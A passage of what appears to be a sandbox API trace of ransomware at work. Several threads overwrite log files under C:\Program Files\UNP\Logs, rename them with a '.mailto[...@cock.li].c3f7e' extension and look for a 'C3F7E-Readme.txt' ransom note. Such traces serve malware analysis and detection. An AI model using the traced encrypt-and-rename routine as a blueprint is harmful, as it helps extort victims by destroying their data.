	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x6d2f2808
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x81126d5b
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x629e3072
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x7eecf2f
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xe9c849
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x111f047a
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x21b8849c
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x1e006d30
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x5be68f43
	[0083.149] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x1c080157
	[0083.149] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x76958d36
	[0083.149] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x597347bf
	[0083.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0083.159] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.159] ReadFile (in: hFile=0x16b4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17ebfc04, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x17ebfc04*=0xc800, lpOverlapped=0x0) returned 1
	[0083.160] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0083.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0083.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.162] WriteFile (in: hFile=0x16b4, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17ebfc04, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x17ebfc04*=0xc800, lpOverlapped=0x0) returned 1
	[0083.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0083.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0083.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0083.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0083.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0083.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0083.165] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.165] WriteFile (in: hFile=0x16b4, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17ebfc84, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17ebfc84*=0x13b, lpOverlapped=0x0) returned 1
	[0083.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0083.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0083.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0083.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0083.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0083.168] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl"
	[0083.168] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.168] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17ebfc3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0083.168] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17ebfc34, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0083.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.169] NtQueryInformationFile (in: FileHandle=0x16b4, IoStatusBlock=0x17ebfc48, FileInformation=0x17ebfc20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17ebfc48, FileInformation=0x17ebfc20) returned 0x0
	[0083.169] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17ebfc48, FileInformation=0x17ebfc20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0083.170] FlushFileBuffers (hFile=0x16b4) returned 1
	[0083.181] CloseHandle (hObject=0x16b4) returned 1
	[0083.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0083.188] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.188] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.188] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e351d0) returned 1

Thread:
	id = 633
	os_tid = 0x1910

	[0077.522] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.029.etl")) returned 0x2020
	[0082.651] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl", dwFileAttributes=0x20) returned 1
	[0083.197] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.029.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16d8
	[0083.202] GetFileSizeEx (in: hFile=0x16d8, lpFileSize=0x17f3fb70 | out: lpFileSize=0x17f3fb70*=262144) returned 1
	[0083.202] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x3fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.202] ReadFile (in: hFile=0x16d8, lpBuffer=0x17f3faf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17f3faf0, lpOverlapped=0x0 | out: lpBuffer=0x17f3faf4*, lpNumberOfBytesRead=0x17f3faf0*=0x4, lpOverlapped=0x0) returned 1
	[0083.204] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33de8
	[0083.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.204] NtQuerySystemTime (in: CurrentTime=0x17f3fad0 | out: CurrentTime=0x17f3fad0*=132251868099369598) returned 0x0
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xab39d794
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xe48392b2
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x72c6b921
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x9a855f01
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xf75e3d07
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xa78806df
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x864a1987
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xc8ca74d9
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x3d080e8d
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xf2f43677
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x6e34dcc2
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x3e254694
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x43e306cc
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xc4d81b5b
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x7f3f12db
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x4ecae9f9
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x16757ef4
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xa899eebd
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x5d730230
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xfafa6a39
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xae18d669
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x626e83cc
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x9b305c4e
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xd61cc335
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x42f380d5
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xaedfc5d0
	[0083.204] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x85f9f5b7
	[0083.205] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x43b01d2b
	[0083.205] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x2be3a718
	[0083.205] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xffd17442
	[0083.205] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0xbcb1f74a
	[0083.205] RtlRandom (in: Seed=0x17f3fadc | out: Seed=0x17f3fadc) returned 0x8f7f9f70
	[0083.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0083.213] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.213] ReadFile (in: hFile=0x16d8, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17f3fa88, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x17f3fa88*=0xc800, lpOverlapped=0x0) returned 1
	[0083.214] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0083.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0083.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.216] WriteFile (in: hFile=0x16d8, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17f3fa88, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x17f3fa88*=0xc800, lpOverlapped=0x0) returned 1
	[0084.863] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0084.863] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.863] ReadFile (in: hFile=0x16d8, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17f3fa88, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x17f3fa88*=0xc800, lpOverlapped=0x0) returned 1
	[0084.865] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfabf8
	[0084.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0084.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0084.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0084.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0084.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343e8
	[0084.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34000
	[0084.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0084.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0084.867] WriteFile (in: hFile=0x16d8, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17f3fa88, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x17f3fa88*=0xc800, lpOverlapped=0x0) returned 1
	[0084.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0084.873] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x33800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.873] ReadFile (in: hFile=0x16d8, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17f3fa88, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x17f3fa88*=0xc800, lpOverlapped=0x0) returned 1
	[0084.874] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x33800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaad8
	[0084.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0084.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.874] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0084.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34000
	[0084.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.876] WriteFile (in: hFile=0x16d8, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17f3fa88, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x17f3fa88*=0xc800, lpOverlapped=0x0) returned 1
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0084.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733ba8
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0084.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77660
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34280) returned 1
	[0084.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77720
	[0084.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34028
	[0084.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34398
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34398) returned 1
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0084.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x17b) returned 0x2d5c040
	[0084.877] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.877] WriteFile (in: hFile=0x16d8, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x17b, lpNumberOfBytesWritten=0x17f3fb30, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x17f3fb30*=0x17b, lpOverlapped=0x0) returned 1
	[0084.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77720) returned 1
	[0084.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34028) returned 1
	[0084.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77660) returned 1
	[0084.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ba8) returned 1
	[0084.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0084.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0084.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0084.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea3a0
	[0084.884] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl"
	[0084.884] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.884] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17f3fae8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47687f8
	[0084.884] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x17f3fae0, FileInformation=0x47687f8, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0084.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47687f8) returned 1
	[0084.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0084.885] NtQueryInformationFile (in: FileHandle=0x16d8, IoStatusBlock=0x17f3faf4, FileInformation=0x17f3facc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17f3faf4, FileInformation=0x17f3facc) returned 0x0
	[0084.885] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x17f3faf4, FileInformation=0x17f3facc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0084.885] FlushFileBuffers (hFile=0x16d8) returned 1
	[0084.888] CloseHandle (hObject=0x16d8) returned 1
	[0084.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d778a0
	[0084.893] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0084.893] wcscat (in: _Dest=0x2d778a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0084.893] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0084.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0084.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35940) returned 1

Thread:
	id = 634
	os_tid = 0x1914

	[0077.522] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json")) returned 0x20
